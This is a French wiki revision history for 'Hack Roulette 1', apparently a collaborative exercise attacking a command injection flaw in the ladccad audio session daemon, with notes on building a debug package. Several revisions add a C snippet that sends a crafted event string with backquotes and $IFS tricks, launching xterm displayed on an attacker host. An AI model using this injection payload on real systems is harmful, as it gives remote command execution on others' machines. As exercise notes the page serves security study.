Hack Roulette 1 - Revision history

StalkR: /* StalkR */

2010-03-05T09:32:12Z

StalkR

← Older revision		Revision as of 09:32, 5 March 2010
Line 123:		Line 123:
	"CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.		"CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.

	~~Pieuvre~~ vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.		Piotr vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.

	=== sbz ===		=== sbz ===

2010-03-05T00:33:06Z

Piotr & Florent

2010-03-05T00:11:28Z

Piotr & Florent

← Older revision		Revision as of 00:11, 5 March 2010
Line 164:		Line 164:
	</pre>		</pre>

	j'abuse:		j'abuse (phil):
	<pre>		<pre>
	printf ("hacking...\n");		printf ("hacking...\n");
	event = cca_event_new_with_type (CCA_Project_Dir);		event = cca_event_new_with_type (CCA_Project_Dir);
	strcpy(client_name, "toto`xterm$IFS-display$~~IFSattacker~~-ip:0`\0");		strcpy(client_name, "toto`xterm$IFS-display${IFS}attacker-ip:0`\0");
	CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq));		CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq));
	cca_event_set_string (event, client_name);		cca_event_set_string (event, client_name);

2010-03-04T23:03:13Z

Results

← Older revision		Revision as of 23:03, 4 March 2010
Line 163:		Line 163:
	cca_send_event (client, event);		cca_send_event (client, event);
	</pre>		</pre>

			j'abuse:
			<pre>
			printf ("hacking...\n");
			event = cca_event_new_with_type (CCA_Project_Dir);
			strcpy(client_name, "toto`xterm$IFS-display$IFSattacker-ip:0`\0");
			CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq));
			cca_event_set_string (event, client_name);
			cca_send_event (client, event);
			</pre>

			Octal attacks should work too ;-)

2010-03-04T22:51:39Z

@@ Line 148: / Line 148: @@
 $ file /usr/bin/ladccad
 /usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 </pre>

2010-03-04T22:03:31Z

sbz

← Older revision		Revision as of 22:03, 4 March 2010
Line 129:		Line 129:
	package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c		package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c

	paquet debian partage avec python -mSimpleHTTPServer		paquet debian partage avec

			<pre>
			$ python -mSimpleHTTPServer
			</pre>

	commandes utilisées:		commandes utilisées:

2010-03-04T22:02:35Z

sbz

← Older revision		Revision as of 22:02, 4 March 2010
Line 133:		Line 133:
	commandes utilisées:		commandes utilisées:

	#		<pre>
	$ apt-get source ladccad		$ apt-get source ladccad
	$ cd ladcca-0.4.0		$ cd ladcca-0.4.0
Line 144:		Line 144:
	$ file /usr/bin/ladccad		$ file /usr/bin/ladccad
	/usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped		/usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
			</pre>

2010-03-04T22:02:00Z

sbz

← Older revision		Revision as of 22:02, 4 March 2010
Line 130:		Line 130:

	paquet debian partage avec python -mSimpleHTTPServer		paquet debian partage avec python -mSimpleHTTPServer

			commandes utilisées:

			#
			$ apt-get source ladccad
			$ cd ladcca-0.4.0
			$ dpkg-source -x ladcca_0.4.0-6.dsc
			$ cd ladcca-0.4.0
			$ vim debian/rules, decommenter dh_strip et ajouter --enable-debug à la rule configure
			$ sudo aptitude install libjack0.100.0-dev libreadline5-dev uuid-dev
			$ dpkg-buildpackage -tc
			$ sudo dpkg -i ../*.deb
			$ file /usr/bin/ladccad
			/usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

2010-03-04T21:56:29Z

StalkR

← Older revision		Revision as of 21:56, 4 March 2010
Line 122:		Line 122:
	Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu'il faut générer un event		Remontons un peu les fonctions qui donnent les input de system(), on voit que pour déclencher la faille qu'il faut générer un event
	"CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.		"CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.

			Pieuvre vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.

	=== sbz ===		=== sbz ===

2010-03-04T21:55:50Z

sbz

← Older revision		Revision as of 21:55, 4 March 2010
Line 125:		Line 125:
	=== sbz ===		=== sbz ===

	package debian recompile en mode debug et avec les symboles de debug http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h		package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c

	paquet debian partage avec python -mSimpleHTTPServer		paquet debian partage avec python -mSimpleHTTPServer